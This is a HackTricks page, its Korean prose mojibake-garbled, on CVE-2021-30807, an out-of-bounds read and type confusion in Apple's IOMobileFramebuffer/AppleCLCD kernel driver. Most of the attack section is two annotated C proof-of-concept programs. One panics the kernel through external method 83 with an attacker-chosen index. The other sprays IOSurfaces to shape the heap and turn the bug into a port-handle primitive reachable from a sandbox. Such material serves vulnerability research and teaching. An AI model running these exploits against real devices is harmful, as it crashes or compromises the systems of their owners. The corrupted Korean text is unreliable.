CVE-2021-30807: IOMobileFrameBuffer OOB
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ทจ์ฝ์
You have a great explanation of the vuln here, but as summary:
-
์ทจ์ฝํ ์ฝ๋ ๊ฒฝ๋ก๋ IOMobileFramebuffer / AppleCLCD user client์ external method #83:
IOMobileFramebufferUserClient::s_displayed_fb_surface(...)์ ๋๋ค. ์ด ๋ฉ์๋๋ ์ฌ์ฉ์์ ์ํด ์ ์ด๋๋ ํ๋ผ๋ฏธํฐ๋ฅผ ๋ฐ๋๋ฐ ์ ํ ๊ฒ์ฆํ์ง ์์ผ๋ฉฐ ๋ค์ ํจ์๋ก **scalar0**๋ก ์ ๋ฌ๋ฉ๋๋ค. -
ํด๋น ๋ฉ์๋๋ **
IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)**๋ก ์ ๋ฌ๋๋ฉฐ, ์ฌ๊ธฐ์scalar0(์ฌ์ฉ์๊ฐ ์ ์ดํ๋ 32-bit ๊ฐ)๋ ๋ด๋ถ ํฌ์ธํฐ ๋ฐฐ์ด์ ๋ํ ์ธ๋ฑ์ค๋ก ์ฌ์ฉ๋์ง๋ง ๊ฒฝ๊ณ ๊ฒ์ฌ๊ฐ ์ ํ ์์ต๋๋ค:
ptr = *(this + 0xA58 + scalar0 * 8);โIOSurfaceRoot::copyPortNameForSurfaceInTask(...)๋ก ์ ๋ฌ๋์ด **IOSurface***๋ก ์ฌ์ฉ๋ฉ๋๋ค.
Result: ๋ฐฐ์ด์์ OOB pointer read & type confusion๊ฐ ๋ฐ์ํฉ๋๋ค. ํฌ์ธํฐ๊ฐ ์ ํจํ์ง ์์ผ๋ฉด ์ปค๋ deref๊ฐ panicํ์ฌ โ DoS.
Note
This was fixed in iOS/iPadOS 14.7.1, macOS Big Sur 11.5.1, watchOS 7.6.1
Warning
The initial function to call
IOMobileFramebufferUserClient::s_displayed_fb_surface(...)is protected by the entitlementcom.apple.private.allow-explicit-graphics-priority. However, WebKit.WebContent has this entitlement, so it can be used to trigger the vuln from a sandboxed process.
DoS PoC
The following is the initial DoS PoC from the ooriginal blog post with extra comments:
// PoC for CVE-2021-30807 trigger (annotated)
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
// Build/run only on devices you own and that are vulnerable.
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory)
// https://support.apple.com/en-us/103144
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807
void trigger_clcd_vuln(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
// The "type" argument is the type (selector) of user client to open.
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
// external methods we need (incl. selector 83). If this doesn't work on your
// build, try different types or query IORegistry to enumerate.
int type = 2;
// 1) Locate the IOMobileFramebuffer service in the IORegistry.
// This returns the first matched service object (a kernel object handle).
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOMobileFramebuffer"));
if (service == MACH_PORT_NULL) {
printf("failed to open service\n");
return;
}
printf("service: 0x%x\n", service);
// 2) Open a connection (user client) to the service.
// The user client is what exposes external methods to userland.
// 'type' selects which user client class/variant to instantiate.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if (ret != KERN_SUCCESS) {
printf("failed to open userclient: %s\n", mach_error_string(ret));
return;
}
printf("client: 0x%x\n", shared_user_client_conn);
printf("call externalMethod\n");
// 3) Prepare input scalars for the external method call.
// The vulnerable path uses a 32-bit scalar as an INDEX into an internal
// array of pointers WITHOUT bounds checking (OOB read / type confusion).
// We set it to a large value to force the out-of-bounds access.
uint64_t scalars[4] = { 0x0 };
scalars[0] = 0x41414141; // **Attacker-controlled index** โ OOB pointer lookup
// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
uint64_t output_scalars[4] = { 0 };
uint32_t output_scalars_size = 1;
printf("call s_default_fb_surface\n");
// 5) Invoke external method #83.
// On vulnerable builds, this path ends up calling:
// IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
// โ IOMobileFramebufferLegacy::get_displayed_surface(...)
// which uses our index to read a pointer and then passes it as IOSurface*.
// If the pointer is bogus, IOSurface code will dereference it and the kernel
// will panic (DoS).
ret = IOConnectCallMethod(
shared_user_client_conn,
83, // **Selector 83**: vulnerable external method
scalars, 1, // input scalars (count = 1; the OOB index)
NULL, 0, // no input struct
output_scalars, &output_scalars_size, // optional outputs
NULL, NULL); // no output struct
// 6) Check the call result. On many vulnerable targets, you'll see either
// KERN_SUCCESS right before a panic (because the deref happens deeper),
// or an error if the call path rejects the request (e.g., entitlement/type).
if (ret != KERN_SUCCESS) {
printf("failed to call external method: 0x%x --> %s\n",
ret, mach_error_string(ret));
return;
}
printf("external method returned KERN_SUCCESS\n");
// 7) Clean up the user client connection handle.
IOServiceClose(shared_user_client_conn);
printf("success!\n");
}
์์ ์ฝ๊ธฐ PoC ์ค๋ช
- ์ ์ ํ user client ์ด๊ธฐ
get_appleclcd_uc()๋ AppleCLCD ์๋น์ค๋ฅผ ์ฐพ์ user client type 2๋ฅผ ์ฝ๋๋ค. AppleCLCD์ IOMobileFramebuffer๋ ๊ฐ์ external-methods ํ ์ด๋ธ์ ๊ณต์ ํ๋ฉฐ; type 2๋ selector 83์ ๋ ธ์ถํฉ๋๋ค. ์ด๊ฒ์ด ๋ฒ๊ทธ๋ก ๋ค์ด๊ฐ๋ ์ง์ ์ ์ ๋๋ค. E_POC/)
์ 83์ด ์ค์ํ๊ฐ: ๋์ปดํ์ผ๋ ๊ฒฝ๋ก๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
โIOMobileFramebufferUserClient::get_displayed_surface(...)
โIOMobileFramebufferLegacy::get_displayed_surface(...)
๋ง์ง๋ง ํธ์ถ ๋ด๋ถ์์, ์ฝ๋๋ ๊ฒฝ๊ณ ๊ฒ์ฌ ์์ด 32๋นํธ ์ค์นผ๋ผ๋ฅผ ๋ฐฐ์ด ์ธ๋ฑ์ค๋ก ์ฌ์ฉํ๊ณ , **this + 0xA58 + index*8**์์ ํฌ์ธํฐ๋ฅผ ๊ฐ์ ธ์IOSurface*๋กIOSurfaceRoot::copyPortNameForSurfaceInTask(...)์ ์ ๋ฌํฉ๋๋ค. ๊ทธ๊ฒ OOB + ํ์ ํผ๋์ ๋๋ค.
- ํ ์คํ๋ ์ด (์ IOSurface๊ฐ ์ฌ๊ธฐ์ ๋ํ๋๋๊ฐ)
-
do_spray()๋ **IOSurfaceRootUserClient**๋ฅผ ์ฌ์ฉํด ๋ง์ IOSurface๋ฅผ ์์ฑํ๊ณ **์์ ๊ฐ๋ค๋ก ์คํ๋ ์ด(s_set_value ์คํ์ผ)**ํฉ๋๋ค. ์ด๋ ์ปค๋ ํ ์ธ๊ทผ์ ์ ํจํ IOSurface ๊ฐ์ฒด๋ค์ ๋ํ ํฌ์ธํฐ๋ค๋ก ์ฑ์๋๋ค. -
๋ชฉํ: selector 83์ด ํฉ๋ฒ ํ ์ด๋ธ์ ๋ฒ์ด๋ ์ฝ์ ๋, OOB ์ฌ๋กฏ์ ๋น์ ์ด ๋ง๋ (์ค์ ) IOSurface ํฌ์ธํฐ ์ค ํ๋๊ฐ ๋ค์ด ์์ ๊ฐ๋ฅ์ฑ์ด ์์ด, ์ดํ ์ญ์ฐธ์กฐ๊ฐ ํฌ๋์๋ฅผ ์ผ์ผํค์ง ์๊ณ ์ฑ๊ณตํ๊ฒ ๋ฉ๋๋ค. IOSurface๋ ๊ณ ์ ์ ์ด๊ณ ๋ฌธ์ํ๋ ์ปค๋ ์คํ๋ ์ด ํ๋ฆฌ๋ฏธํฐ๋ธ์ด๋ฉฐ, Saar์ ํฌ์คํธ๋ ์ด ์ต์คํ๋ก์ ํ๋ฆ์ ์ฌ์ฉ๋ create / set_value / lookup ๋ฉ์๋๋ฅผ ๋ช ์์ ์ผ๋ก ๋์ดํฉ๋๋ค.
- โoffset/8โ ํธ๋ฆญ (๊ทธ ์ธ๋ฑ์ค๊ฐ ์ค์ ๋ก ์๋ฏธํ๋ ๊ฒ)
-
trigger_oob(offset)์์๋scalars[0] = offset / 8๋ก ์ค์ ํฉ๋๋ค. -
์ 8๋ก ๋๋๋? ์ปค๋์ **
base + index*8**๋ฅผ ์ํํด ์ด๋ ํฌ์ธํฐ ํฌ๊ธฐ ์ฌ๋กฏ์ ์ฝ์์ง ๊ณ์ฐํฉ๋๋ค. ๋น์ ์ ๋ฐ์ดํธ ์คํ์ ์ด ์๋๋ผ **โ์ฌ๋กฏ ๋ฒํธ Nโ**์ ์ ํํ๋ ๊ฒ์ ๋๋ค. 64๋นํธ์์๋ ์ฌ๋กฏ๋น 8๋ฐ์ดํธ์ ๋๋ค. -
๊ณ์ฐ๋ ์ฃผ์๋ **
this + 0xA58 + index*8**์ ๋๋ค. PoC๋ ํฐ ์์(0x1200000 + 0x1048)๋ฅผ ์ฌ์ฉํด ๋จ์ํ ํฉ๋ฒ ๋ฒ์๋ฅผ ํจ์ฌ ๋ฒ์ด๋ IOSurface ํฌ์ธํฐ๋ค๋ก ์กฐ๋ฐํ๊ฒ ์ฑ์ฐ๋ ค ํ ์์ญ์ผ๋ก ๋ค์ด๊ฐ๋๋ค. ์คํ๋ ์ด๊ฐ โ์ด๊ธฐ๋ฉดโ, ๋น์ ์ด ๊ฑด๋๋ฆฐ ์ฌ๋กฏ์ ์ ํจํIOSurface*์ ๋๋ค.
- selector 83์ด ๋ฐํํ๋ ๊ฒ (์ด ๋ถ๋ถ์ด ๋ฏธ๋ฌํจ)
- ํธ์ถ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, output_scalars, &output_scalars_size, NULL, NULL);o
-
๋ด๋ถ์ ์ผ๋ก, OOB ํฌ์ธํฐ ์กฐํ ์ดํ ๋๋ผ์ด๋ฒ๋
**IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)**๋ฅผ ํธ์ถํฉ๋๋ค. -
๊ฒฐ๊ณผ: **
output_scalars[0]๋ ๋น์ ์ ํ์คํฌ์์์ Mach ํฌํธ ์ด๋ฆ(u32 ํธ๋ค)**๋ก, OOB๋ฅผ ํตํด ์ ๋ฌ๋ ๊ฐ์ฒด ํฌ์ธํฐ์ ๋์ํฉ๋๋ค. ์ด๊ฒ์ ์์ ์ปค๋ ์ฃผ์์ leak๊ฐ ์๋๋ผ, ์ ์ ์คํ์ด์ค ํธ๋ค(send right)์ ๋๋ค. ์ด ์ ํํ ๋์(ํฌํธ ์ด๋ฆ์ ๋ณต์ฌํ๋ ๊ฒ)์ Saar์ ๋์ปดํ์ผ์์ ํ์ธ๋ฉ๋๋ค.
์ ์ ์ฉํ๊ฐ: (๊ฐ์ง) IOSurface์ ๋ํ ํฌํธ ์ด๋ฆ์ ์ป์ผ๋ฉด, ์ด์ ๋ค์ ๊ฐ์ IOSurfaceRoot ๋ฉ์๋๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค:
s_lookup_surface_from_port(method 34) โ ํฌํธ๋ฅผ surface ID๋ก ๋ฐ๊ฟ ๋ค๋ฅธ IOSurface ํธ์ถ๋ก ์กฐ์ํ ์ ์๊ณ ,s_create_port_from_surface(method 35) โ ํ์ํ๋ฉด ๊ทธ ๋ฐ๋๋ ์ํํฉ๋๋ค.
Saar๋ ๋ค์ ๋จ๊ณ๋ก ์ ํํ ์ด ๋ฉ์๋๋ค์ ์ง๋ชฉํฉ๋๋ค. PoC๋ OOB ์ฌ๋กฏ์์ ํฉ๋ฒ์ ์ธ IOSurface ํธ๋ค์ โ๋ง๋ค์ด๋ผโ ์ ์์์ ์ฆ๋ช ํ๊ณ ์์ต๋๋ค. Saaramar
์ด PoC๋ ์ฌ๊ธฐ์์ ๊ฐ์ ธ์์ต๋๋ค โ ๋จ๊ณ ์ค๋ช ์ ์ํด ๋ช ๊ฐ์ง ์ฃผ์์ ์ถ๊ฐํ์ต๋๋ค:
#include "exploit.h"
// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
io_connect_t get_appleclcd_uc(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. โญ
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)
// Find the **AppleCLCD** service in the IORegistry.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
if(service == MACH_PORT_NULL) {
printf("[-] failed to open service\n");
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD service: 0x%x\n", service);
// Open a user client connection to AppleCLCD with the chosen **type**.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if(ret != KERN_SUCCESS) {
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
return shared_user_client_conn;
}
// Trigger the OOB index path of external method #83.
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
uint64_t trigger_oob(uint64_t offset) {
kern_return_t ret;
// The method takes a single 32-bit scalar that it uses as an index.
uint64_t scalars[1] = { 0x0 };
scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. โญ
// #83 returns one scalar. In this flow it will be the Mach port name
// (a u32 handle in our task), not a kernel pointer.
uint64_t output_scalars[1] = { 0 };
uint32_t output_scalars_size = 1;
io_connect_t appleclcd_uc = get_appleclcd_uc();
if (appleclcd_uc == MACH_PORT_NULL) {
return 0;
}
// Call external method 83. Internally:
// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch
// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
// which creates a send right for that object and writes its port name
// into output_scalars[0]. If ptr is junk โ deref/panic (DoS).
ret = IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);
if (ret != KERN_SUCCESS) {
printf("[-] external method 83 failed: %s\n", mach_error_string(ret));
return 0;
}
// This is the key: you get back a Mach port name (u32) to whatever
// object was at that OOB slot (ideally an IOSurface you sprayed).
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
return output_scalars[0];
}
// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
// real IOSurface (easier & stabler than a fully fake object).
bool do_spray(void) {
char data[0x10];
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.
// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
return false;
}
// Create many IOSurfaces and use set_value / value spray helpers
// (Brandon Azad-style) to fan out allocations in kalloc. โญ
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc); // s_create_surface
if (surface_ids[i] <= 0) {
return false;
}
// Spray small values repeatedly: tends to allocate/fill predictable
// kalloc regions near where the IOMFB table OOB will read from.
// The โwith_gcโ flavor forces periodic GC to keep memory moving/packed.
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200, // rounds, per-round items
data, sizeof(data),
NULL) == false) {
printf("iosurface spray failed\n");
return false;
}
}
return true;
}
int main(void) {
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
return 0;
}
printf("[*] do spray\n");
if (do_spray() == false) {
printf("[-] shape failed, abort\n");
return 1;
}
printf("[*] spray success\n");
// Trigger the OOB read. The magic constant chooses a pointer-slot
// far beyond the legit array (offset is in bytes; index = offset/8).
// If the spray worked, this returns a **Mach port name** (handle) to one
// of your sprayed IOSurfaces; otherwise it may crash.
printf("[*] trigger\n");
trigger_oob(0x1200000 + 0x1048);
return 0;
}
์ฐธ๊ณ ์๋ฃ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


